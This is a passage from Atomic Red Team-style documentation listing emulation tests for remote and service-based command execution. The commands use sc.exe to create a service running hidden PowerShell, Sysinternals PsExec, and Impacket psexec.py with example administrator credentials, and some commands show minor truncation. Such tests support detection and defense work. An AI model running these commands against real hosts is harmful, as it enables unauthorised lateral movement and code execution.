

> T1037.001 > T1037.002

> T1037.004

> **T**1037.005

> **T**1039

> T1040

service_name	Name of service to create	String	ARTService
executable_command	Command to execute as a service	String	%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art- marker.txt

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

```
sc.exe create #{service_name} binPath= "#{executable_command}"
sc.exe start #{service_name}
sc.exe delete #{service_name}
```

Cleanup Commands:

```
del C:\art-marker.txt >nul 2>&1
```

Atomic Test #2 - Use PsExec to execute a command on a remote host

Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments Will start a process on a remote host.

Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).

Supported Platforms: Windows

auto_generated_guid: 873106b7-cfed-454b-8680-fa9f6400431c

Inputs:

Name	Description	Туре	Default Value	
remote_host	Remote hostname or IP address	String	localhost	
user_name	Username	String	DOMAIN\Administrator	
password	Password	Password String		
psexec_exe	Path to PsExec	String	C:\PSTools\PsExec.exe	

Attack Commands: Run with command_prompt!

```
#{psexec_exe} \\#{remote_host} -u #{user_name} -p #{password} -accepteul
```

Dependencies: Run with powershell!

Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})

Check Prereq Commands:

```
if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1}
```

Get Prereq Commands:

```
New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-N
Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_exe}" -Force
```

Atomic Test #3 - psexec.py (Impacket)

Will execute a command on the remote host with Impacket psexec.py script.

Supported Platforms: Linux

auto_generated_guid: edbcd8c9-3639-4844-afad-455c91e95a35

Inputs:

Name	Description	Туре	Default Value
remote_host	Remote hostname or IP address	String	127.0.0.1
username	Username	String	Administrator
domain	Target domain	String	
password	Password	String	P@ssw0rd1
command	Command to execute in target computer	String	whoami

Attack Commands: Run with bash!

```
psexec.py '#{domain}/#{username}:#{password}@#{remote_host}' '#{command}
```

Dependencies: Run with bash!

Description: psexec.py (Impacket)

Check Prereq Commands:

```
if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands:

```
sudo pip3 install impacket
```

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